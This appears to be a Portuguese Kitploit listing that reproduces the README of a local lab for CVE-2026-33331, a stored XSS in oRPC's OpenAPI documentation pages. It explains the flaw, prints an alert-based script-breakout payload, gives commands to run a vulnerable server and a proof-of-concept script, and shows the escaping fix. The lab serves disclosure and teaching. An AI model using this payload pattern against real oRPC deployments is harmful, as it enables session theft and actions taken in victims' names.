Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33331 — Laboratório local que reproduz XSS armazenado na geração de documentação OpenAPI do oRPC (CVE-2026-33331), com versões vulnerável e corrigida para comparação e um PoC independente. | Kitploit
Ferramentas/GitHubGitHub/abhayclasher/cve-2026-33331
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAprendizado e EducaçãoLabs e Prática
GitHubabhayclasher/cve-2026-33331

CVE-2026-33331

Laboratório local que reproduz XSS armazenado na geração de documentação OpenAPI do oRPC (CVE-2026-33331), com versões vulnerável e corrigida para comparação e um PoC independente.

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33331 — XSS Armazenado no Plugin de Referência OpenAPI do oRPC

CVE GHSA CWE-79 Patched

Laboratório de prova de conceito para XSS armazenado na geração de documentação OpenAPI do orpc


Objetivo

O oRPC constrói páginas de documentação de API a partir de uma especificação OpenAPI. Antes da v1.13.9, ele despejava a especificação diretamente em uma tag <script> usando JSON.stringify() sem codificação HTML. Qualquer campo controlado por um atacante, como , poderia fechar essa tag prematuramente e executar script.

info.description

Este repositório fornece um laboratório local para reproduzir o bug, além de uma versão corrigida para comparação.

Fatos rápidos

CampoValor
ID CVECVE-2026-33331
GHSAGHSA-7f6v-3gx7-27q8
CWECWE-79 (Neutralização Incorreta de Entrada Durante a Geração de Página Web)
Produtomiddleapi/orpc
AfetadoTodas as versões abaixo da v1.13.9
Corrigidov1.13.9
DescobertaAbhay Kumar (@abhayclasher)

Detalhes da vulnerabilidade

O código vulnerável em packages/openapi/src/plugins/openapi-reference.ts renderiza a especificação assim:

root@kitploit:~
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>

JSON.stringify() produz JSON válido, mas não escapa < ou >. O navegador ainda trata </script> como uma tag de fechamento HTML, mesmo dentro de um <script type="application/json">.

Um payload em info.description que aciona a execução:

root@kitploit:~
"</script><script>alert('XSS')</script>"

O navegador vê:

root@kitploit:~
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>

O primeiro </script> fecha o bloco. Tudo o que vem depois é executado como JavaScript inline.

Impacto

  • Sequestro de sessão via roubo de cookies ou tokens
  • Chamadas de API arbitrárias feitas em nome da vítima que visualiza a documentação
  • Overlays de phishing renderizados dentro do domínio confiável da documentação

Isso se aplica quando uma aplicação constrói especificações OpenAPI a partir de entrada controlada pelo usuário, que é exatamente o caso que o oRPC habilita por meio de suas definições de roteador.

Requisitos do sistema

  • Node.js 18 ou superior
  • Docker (opcional, para laboratório containerizado)
  • 500 MB de espaço livre em disco

Configuração

Opção 1: Executar diretamente

root@kitploit:~
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js

Opção 2: Executar com Docker

root@kitploit:~
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d

Uso

Após o servidor iniciar, visite estas URLs:

URLDescrição
http://localhost:3000/docsPágina de documentação vulnerável — o payload XSS é executado no carregamento
http://localhost:3000/docs/safeMesma página com o patch da v1.13.9 aplicado
http://localhost:3000/spec.jsonJSON bruto da especificação OpenAPI

A versão vulnerável disparará um alert() no carregamento da página, confirmando a execução do script. A versão corrigida renderiza a mesma especificação maliciosa com segurança — o payload é exibido como texto simples.

Você também pode executar o PoC autônomo:

root@kitploit:~
cd poc
node exploit.js

Isso inicia um servidor mínimo na porta 3000 que demonstra o mesmo bug sem o contexto completo da aplicação.

Como funciona

Fluxo de detecção

root@kitploit:~
1. O atacante controla um campo na especificação OpenAPI (ex.: description)
2. O oRPC gera o HTML da documentação com JSON.stringify(spec)
3. O </script> no payload fecha a tag <script> prematuramente
4. O navegador executa o que vem a seguir como JavaScript inline

A cadeia de ataque

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  1. Especificação maliciosa criada:                  │
│                                                       │
│     info.description =                                │
│       "</script><script>alert('XSS')</script>"        │
│                                                       │
│  2. O orpc incorpora a especificação no HTML:         │
│                                                       │
│     <script id="spec" type="application/json">        │
│     {"info":{"description":"</script>    <-- tag      │
│       <script>alert('XSS')</script>      <-- payload  │
│       "}}                                             │
│     </script>                                         │
│                                                       │
│  3. O navegador executa alert('XSS')                  │
└─────────────────────────────────────────────────────┘

A correção

A versão 1.13.9 introduz escapeJsonForHtml(), que substitui caracteres sensíveis a HTML por escapes Unicode antes de incorporar o JSON na tag script:

root@kitploit:~
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
  .replace(/&/g, '\\u0026')
  .replace(/'/g, '\\u0027')
  .replace(/</g, '\\u003C')
  .replace(/>/g, '\\u003E')
  .replace(/\//g, '\\u002F');

Os escapes Unicode funcionam porque permanecem JSON válido — JSON.parse() reconstrói a string original — mas nunca parecem HTML para o parser do navegador.

O patch também mudou a leitura do JSON de um atributo dataset.config do DOM (que quebrava quando os valores continham parênteses) para atribuir o JSON escapado diretamente a uma variável inline.

Veja o commit completo: 4f0efa8

Estrutura do projeto

root@kitploit:~
CVE-2026-33331/
├── README.md               # Este arquivo
├── docker-compose.yml      # Configuração do laboratório Docker
├── app/
│   ├── Dockerfile          # Configuração de build do container
│   ├── package.json        # Dependências Node.js
│   └── server.js           # Renderizador de documentação vulnerável + corrigido
└── poc/
    └── exploit.js          # Prova de conceito mínima autônoma

Referências

  • NVD — CVE-2026-33331
  • Advisory de Segurança do GitHub
  • Commit do Patch
  • Release v1.13.9
  • CWE-79

Relatado por Abhay Kumar. Este repositório destina-se apenas ao uso educacional local. Não implante o servidor vulnerável em uma rede pública.

Apenas para fins educacionais — use em ambientes isolados

Baixar ferramenta